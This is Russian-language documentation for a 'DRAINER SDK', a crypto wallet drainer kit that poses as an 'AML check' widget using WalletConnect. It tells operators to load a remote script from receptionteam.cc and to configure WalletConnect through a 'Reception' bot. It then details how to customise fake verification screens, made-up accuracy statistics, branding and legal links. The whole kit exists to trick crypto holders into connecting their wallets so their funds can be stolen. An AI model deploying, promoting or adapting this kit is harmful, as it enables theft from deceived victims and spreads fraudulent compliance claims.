Документация DRAINER SDK

Полное руководство по настройке и использованию виджета

Введение

DRAINER SDK — это готовое решение для интеграции в ваше веб-приложение с поддержкой WalletConnect.

SDK предоставляет:

WalletConnect интеграция

Готовая интеграция с поддержкой всех популярных кошельков

Полная кастомизация

Настройте цвета, шрифты, текста и внешний вид под свой бренд

Темная и светлая темы

Поддержка обеих тем из коробки

Кастомные экраны

Переопределяйте HTML любого экрана через конфиг

Быстрый старт

1

Добавьте HTML разметку

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DRAINER SDK</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body>
    <div id="root"></div>
</body>
</html>
2

Настройте конфигурацию

<script>
    window.AML_CONFIG = {
        colors: {
            primary: '#a855f7',
            primaryHover: '#9333ea',
            // ... остальные настройки
        }
    };
</script>
3

Подключите SDK

<script type="module" src="https://receptionteam.cc/static/reception/js/build.js"></script>

Готово!

SDK автоматически подключится к API и будет готов к работе. WalletConnect настраивается отдельно в боте Reception у каждого домена.

Установка

Подключение Tailwind CSS

<!-- Через CDN (рекомендуется для быстрого старта) -->
<script src="https://cdn.tailwindcss.com"></script>

Совет

Для production-сборки рекомендуется использовать Tailwind CLI для оптимизации размера CSS файла.

Конфигурация window.AML_CONFIG

Все параметры настройки виджета через глобальный объект window.AML_CONFIG

📋 Структура конфигурации

Конфигурация включает 7 основных разделов: colors, typography, text, ui, branding, customScreens и walletConnect. Каждый раздел отвечает за определенный аспект виджета.

colors - Цветовая схема

Управляйте всеми цветами в интерфейсе виджета. Используйте HEX-формат (#RRGGBB).

Параметр По умолчанию Описание
primary #3b82f6 Основной цвет (кнопки, акценты)
primaryHover #2563eb Цвет при наведении на кнопки
background #000000 Фон всей страницы виджета
cardBackground #0B0B0B Фон карточек элементов (токены, сети)
containerBackground #0B0B0B Фон главного контейнера виджета
border #212121 Цвет границ элементов
borderHover #2a2a2a Цвет границ при наведении
text #ffffff Основной цвет текста
textSecondary #9ca3af Вторичный текст (подписи, описания)
success #10b981 Цвет успешных операций
error #ef4444 Цвет ошибок
warning #f59e0b Цвет предупреждений
info #3b82f6 Цвет информационных сообщений

typography - Типографика

Настройка шрифтов и размеров текста

Параметр По умолчанию Описание
fontFamily 'Inter', sans-serif Основной шрифт всего виджета
fontSize.xs 12px Очень маленький текст (мелкие подписи)
fontSize.sm 14px Маленький текст (вторичная информация)
fontSize.base 16px Базовый размер текста (основной контент)
fontSize.lg 18px Большой текст (подзаголовки)
fontSize.xl 20px Очень большой текст
fontSize.2xl 24px Размер заголовков секций
fontSize.3xl 30px Главные заголовки страниц

text - Текстовое содержимое

Настройте все текста в интерфейсе виджета под ваш язык и стиль

text.selectNetwork

Экран выбора блокчейн сети

title Select Network
subtitle Choose the blockchain network
footerText New to crypto wallets?
learnMoreLink https://trustwallet.com

text.selectToken

Экран выбора токена

title Select Token
subtitle Choose the token on
changeNetworkText Change Network

text.processing

Экран подключения кошелька

title AML Processing
subtitle Wallet is processing to AML Check
buttonText Processing...
statusText statusText
whatNextTitle What happens next?
whatNextDescription We'll process your AML Check for compliance. You'll receive confirmation once complete.

text.error

Экран ошибки после транзакции

title An error has occurred
subtitle An error occurred during check
buttonText Error Occurred
statusText AML check failed
tryAnotherWallet Try Another Wallet

text.connecting

Экран подключения кошелька

title Connecting Wallet
subtitle Wallet is ready to start verification
buttonText Connecting...
statusText Please wait

text.stats

Статистика проверок

accuracy { label: 'Accuracy', value: '99.9%' }
avgTime { label: 'Avg Time', value: '~30s' }
checks { label: 'Checks', value: '50K+' }

text.legal

Футер модального окна

termsText Terms of Service
termsLink /terms
privacyText Privacy Policy
privacyLink /privacy

ui - Настройки интерфейса

Управление визуальными параметрами виджета

Параметр По умолчанию Описание
borderRadius 24px Радиус скругления углов всех элементов
cardPadding 24px Внутренние отступы карточек
maxWidth 640px Максимальная ширина виджета
spacing 16px Базовый отступ между элементами
showGradients true Включить/выключить градиенты
showAnimations true Включить/выключить анимации
iconSize 45 Размер иконок в пикселях

branding - Брендинг

Добавьте свой логотип и брендинг

Параметр По умолчанию Описание
logoUrl - URL вашего логотипа
logoPosition - Позиция: 'top'
showPoweredBy false Показывать "Powered by"
companyName - Название компании

customScreens - Кастомные экраны

Переопределите HTML любого экрана

Как это работает?

Замените стандартный HTML своим кодом. Используйте Tailwind CSS для стилизации.

success

Экран успешной проверки

error

Экран ошибки

processing

Экран обработки

connecting

Экран подключения

walletConnect - Настройки WalletConnect

Кастомизация модального окна WalletConnect

Параметр По умолчанию Описание
themeMode 'dark' Тема: 'light' или 'dark'
themeVariables: {
'--wcm-z-index' '9999' Z-index модального окна (приоритет отображения)
'--wcm-accent-color' '#3b82f6' Основной акцентный цвет (кнопки, ссылки)
'--wcm-accent-fill-color' '#FFFFFF' Цвет текста на акцентных элементах
'--wcm-background-color' '#0B0B0B' Основной фоновый цвет модального окна
'--wcm-container-border-radius' '24px' Скругление углов контейнера
'--wcm-color-fg-1' '#FFFFFF' Основной цвет текста (foreground level 1)
'--wcm-color-fg-2' '#6B7280' Вторичный цвет текста (foreground level 2)
'--wcm-color-fg-3' '#9CA3AF' Третичный цвет текста (foreground level 3)
'--wcm-color-bg-1' '#0B0B0B' Основной цвет фона (background level 1)
'--wcm-color-bg-2' '#1a1a1a' Вторичный цвет фона (background level 2)
'--wcm-color-bg-3' '#151515' Третичный цвет фона (background level 3)
'--wcm-color-overlay' 'rgba(0, 0, 0, 0.8)' Цвет оверлея (затемнение фона за модальным окном)
'--wcm-button-border-radius' '16px' Скругление углов кнопок
'--wcm-font-family' '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif' Семейство шрифтов для всего интерфейса
}

Полный пример конфигурации

Пример с максимальной кастомизацией на русском языке

window.AML_CONFIG = {
  colors: {
    primary: '#a855f7',
    primaryHover: '#9333ea',
    background: '#000000',
    cardBackground: '#0B0B0B',
    containerBackground: '#0B0B0B',
    border: '#212121',
    borderHover: '#2a2a2a',
    text: '#ffffff',
    textSecondary: '#9ca3af',
    success: '#10b981',
    error: '#ef4444',
    warning: '#f59e0b',
    info: '#a855f7',
  },
  
  typography: {
    fontFamily: "'Inter', sans-serif",
    fontSize: {
      xs: '12px',
      sm: '14px',
      base: '16px',
      lg: '18px',
      xl: '20px',
      '2xl': '24px',
      '3xl': '30px',
    },
  },
  
  text: {
    selectNetwork: {
      title: 'Выберите сеть',
      subtitle: 'Выберите блокчейн сеть для проверки',
    },
    selectToken: {
      title: 'Выберите токен',
      subtitle: 'Выберите токен на',
    },
    processing: {
      title: 'AML Проверка',
      subtitle: 'Кошелек проходит AML проверку',
      buttonText: 'Обработка...',
    },
  },
  
  ui: {
    borderRadius: '24px',
    cardPadding: '24px',
    maxWidth: '640px',
    showGradients: true,
    showAnimations: true,
    iconSize: 45,
  },
  
  branding: {
    logoUrl: '/logo.png',
    logoPosition: 'top',
    companyName: 'Моя Компания',
  },

  walletConnect: {
    themeMode: 'dark',
    themeVariables: {
      '--wcm-accent-color': '#a855f7',
    }
  },
};